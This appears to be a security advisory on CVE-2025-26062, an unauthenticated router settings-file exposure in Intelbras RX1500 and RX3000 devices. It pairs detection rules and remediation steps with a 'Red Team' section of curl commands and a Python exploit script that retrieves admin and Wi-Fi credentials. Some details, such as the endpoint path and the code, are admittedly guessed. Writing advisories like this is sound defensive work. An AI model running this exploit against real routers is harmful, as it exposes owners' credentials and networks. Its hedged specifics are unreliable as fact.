CVE-2025-26062

Executive Summary

CVE-2025-26062 is an access control vulnerability affecting Intelbras RX1500 (v2.2.9) and RX3000 (v1.0.11) routers. An unauthenticated attacker can directly access the router's settings file, leading to the exposure of sensitive configuration data such as Wi-Fi passwords, admin credentials, and network topology details. The vulnerability is publicly known but currently unpatched, with no official fix from Intelbras. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned; estimated high severity)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)
• Estimated Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Threat Level: High (due to ease of exploitation and sensitive data exposure)

Deep Dive & Mechanics

The vulnerability stems from improper access control on the router's web interface. The settings file (typically /cgi-bin/settings.cgi or similar) is accessible without authentication. An attacker can send a simple HTTP GET request to retrieve the entire configuration, which includes:

• Wi-Fi SSID and pre-shared keys (WPA2/3)
• Admin login credentials (often in plaintext or weak hash)
• ISP credentials (PPPoE username/password)
• DNS and DHCP settings
• Firewall rules and port forwarding configurations

The router does not enforce session validation or authentication for this endpoint, allowing any network-connected attacker to exfiltrate the data. This is a classic CWE-284 (Improper Access Control) issue.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The router's web server likely serves the settings file without checking for a valid session token. For example, in a CGI script:

# Vulnerable: No authentication check
def get_settings():
    with open('/etc/config/settings.json', 'r') as f:
        return f.read()

Patched Code (Hypothetical): A patched version would require authentication:

# Patched: Authentication required
def get_settings():
    if not is_authenticated(request):
        return "401 Unauthorized", 401
    with open('/etc/config/settings.json', 'r') as f:
        return f.read()

Since no official patch exists, users must implement workarounds (see Remediation).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target router (Intelbras RX1500 or RX3000) on the same network
• Attacker machine with curl or a web browser

Exploit Steps:

1. Identify the router's IP (e.g., 192.168.1.1).
2. Send a GET request to the settings endpoint:

curl http://192.168.1.1/cgi-bin/settings.cgi

3. The response contains the full configuration in JSON or XML format. Extract sensitive fields:

curl -s http://192.168.1.1/cgi-bin/settings.cgi | jq '.admin_password, .wifi_key'

Expected Output:

{
  "admin_password": "admin123",
  "wifi_key": "MySecureWiFiKey"
}

Automated Exploit Script (Python):

import requests
import sys

def exploit(target_ip):
    url = f"http://{target_ip}/cgi-bin/settings.cgi"
    try:
        r = requests.get(url, timeout=5)
        if r.status_code == 200:
            print("[+] Settings retrieved:")
            print(r.text)
        else:
            print(f"[-] Failed: HTTP {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP GET requests to /cgi-bin/settings.cgi from unauthorized IPs.
• Alert on any access to this endpoint without a prior login session.

Hardening:

• Block external access to the router's web interface via firewall.
• Change default admin credentials immediately.
• Disable remote management if not needed.
• Use a VPN to access the router's admin panel.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cgi-bin/settings.cgi
  • Source IPs from unexpected external networks
  • Unusual data exfiltration patterns (large outbound HTTP responses)

• File IOCs:

  • Unauthorized access logs showing /cgi-bin/settings.cgi in the URI
  • Configuration files with modified timestamps

• Behavioral IOCs:

  • Multiple failed login attempts followed by successful settings access
  • Sudden changes in router configuration (e.g., DNS, port forwarding)

Detection Engineering

YARA Rule

rule Intelbras_Settings_Exposure {
    meta:
        description = "Detects HTTP responses containing Intelbras router settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26062"
    strings:
        $s1 = "admin_password" ascii nocase
        $s2 = "wifi_key" ascii nocase
        $s3 = "pppoe_password" ascii nocase
        $s4 = "settings.cgi" ascii nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: Intelbras Router Settings File Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to Intelbras router settings file
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26062
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cgi-bin/settings.cgi'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-26062 Intelbras Router Settings Exposure"; flow:to_server,established; content:"GET"; http_method; content:"/cgi-bin/settings.cgi"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: Turn off WAN-side access to the router's web interface.
2. Change Default Credentials: Set a strong admin password and Wi-Fi key.
3. Update Firmware: Check Intelbras website for any future patches (currently none).
4. Network Segmentation: Place the router in a separate VLAN from critical assets.
5. Monitor Logs: Enable logging and review for unauthorized access attempts.

Long-Term Fix:

• Intelbras must release a firmware update that adds authentication to the settings endpoint.
• Until then, consider replacing the router with a more secure model.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the router to enforce authentication:

location /cgi-bin/settings.cgi {
    deny all;
    return 403;
}

Valters IT
Securing Digital Frontiers